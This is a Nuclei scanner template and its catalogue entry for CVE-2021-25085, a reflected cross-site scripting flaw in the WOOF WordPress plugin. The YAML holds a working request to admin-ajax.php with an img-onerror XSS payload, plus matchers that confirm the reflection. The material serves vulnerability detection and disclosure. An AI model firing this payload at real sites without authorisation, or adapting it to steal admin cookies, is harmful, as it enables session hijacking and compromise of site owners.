CVE-2021-25085: WOOF WordPress plugin - Cross-Site Scripting
- Template: CVE-2021-25085
- Name: WOOF WordPress plugin - Cross-Site Scripting
- Description: The WOOF WordPress plugin does not sanitize or escape the woof_redraw_elements parameter before reflecting it back in an admin page, leading to a reflected cross-site scripting.
- Impact: Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
- Remediation: Update to the latest version of the WOOF WordPress plugin, which includes proper input sanitization to mitigate the XSS vulnerability.
- Severity: medium
- Authors: Maximus Decimus
- Tags: cve2021, cve, wordpress, wp-plugin, wp, xss, wpscan, pluginus, vuln
- References: https://wpscan.com/vulnerability/b7dd81c6-6af1-4976-b928-421ca69bfa90, https://plugins.trac.wordpress.org/changeset/2648751, https://nvd.nist.gov/vuln/detail/CVE-2021-25085, https://github.com/ARPSyndicate/kenzer-templates
- Cves: CVE-2021-25085
- Verified: yes
- Max requests: 1
- Directory: http/cves
- Path: http/cves/2021/CVE-2021-25085.yaml
- Digest: 4a0a00473045022100e16c4f3b56879aa6b78b88a1aeb02a20491156940ec9320b4f21a043bca0a7dd02202caff536ebe4e8a90528b6c6314029acf114048f862c2f33a47b2cf0d1e207be
- Created at: 2022-06-16T05:27:16Z
- Updated at: 2026-11-25T02:04:11Z
- Age in days: 1623
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2021/CVE-2021-25085.yaml
Classification
- Cwe: CWE-79
- Cvss score: 6.1
- Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Epss score: 0.01651
- Epss percentile: 0.77038
- Cpe: cpe:2.3:a:pluginus:woocommerce_products_filter:*:*:*:*:*:wordpress:*:*
Metadata
- Framework: wordpress
- Max-request: 1
- Product: woocommerce_products_filter
- Vendor: pluginus
- Verified: yes
Products
| Product | Indexed | Url |
|---|---|---|
| pluginus:woocommerce_products_filter | yes | /v1/products/pluginus/woocommerce_products_filter |
Labels
- Name: WOOF WordPress - Reflected XSS
- Impact: Attackers can execute malicious scripts in admin's browser, potentially stealing cookies, session tokens, or performing actions on behalf of the admin.
- Remediation: Sanitize and escape the 'woof_redraw_elements' parameter before reflecting it back in the admin page.
- Vulnerability type: reflected_xss
- Vulnerability impact: client_script_exec
- Requirement type: user_interaction
- Requirements: Attacker needs admin to visit malicious page
- Labels source: projectdiscovery
- From cve: CVE-2021-25085
```yaml
id: CVE-2021-25085
info:
name: WOOF WordPress plugin - Cross-Site Scripting
author: Maximus Decimus
severity: medium
description: |
The WOOF WordPress plugin does not sanitize or escape the woof_redraw_elements parameter before reflecting it back in an admin page, leading to a reflected cross-site scripting.
impact: |
Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
remediation: |
Update to the latest version of the WOOF WordPress plugin, which includes proper input sanitization to mitigate the XSS vulnerability.
reference:
- https://wpscan.com/vulnerability/b7dd81c6-6af1-4976-b928-421ca69bfa90
- https://plugins.trac.wordpress.org/changeset/2648751
- https://nvd.nist.gov/vuln/detail/CVE-2021-25085
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2021-25085
cwe-id: CWE-79
epss-score: 0.01651
epss-percentile: 0.77038
cpe: cpe:2.3:a:pluginus:woocommerce_products_filter:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 1
vendor: pluginus
product: woocommerce_products_filter
framework: wordpress
tags: cve2021,cve,wordpress,wp-plugin,wp,xss,wpscan,pluginus,vuln
http:
- method: GET
path:
- "{{BaseURL}}/wp-admin/admin-ajax.php?action=woof_draw_products&woof_redraw_elements[]=<img%20src=x%20onerror=alert(document.domain)>"
matchers-condition: and
matchers:
- type: word
part: body
words:
- '"additional_fields":["<img src=x onerror=alert(document.domain)>"]}'
- type: word
part: header
words:
- text/html
- type: status
status:
- 200
digest: 4a0a00473045022100e16c4f3b56879aa6b78b88a1aeb02a20491156940ec9320b4f21a043bca0a7dd02202caff536ebe4e8a90528b6c6314029acf114048f862c2f33a47b2cf0d1e207be:922c64590222798bb761d5b6d8e72950
```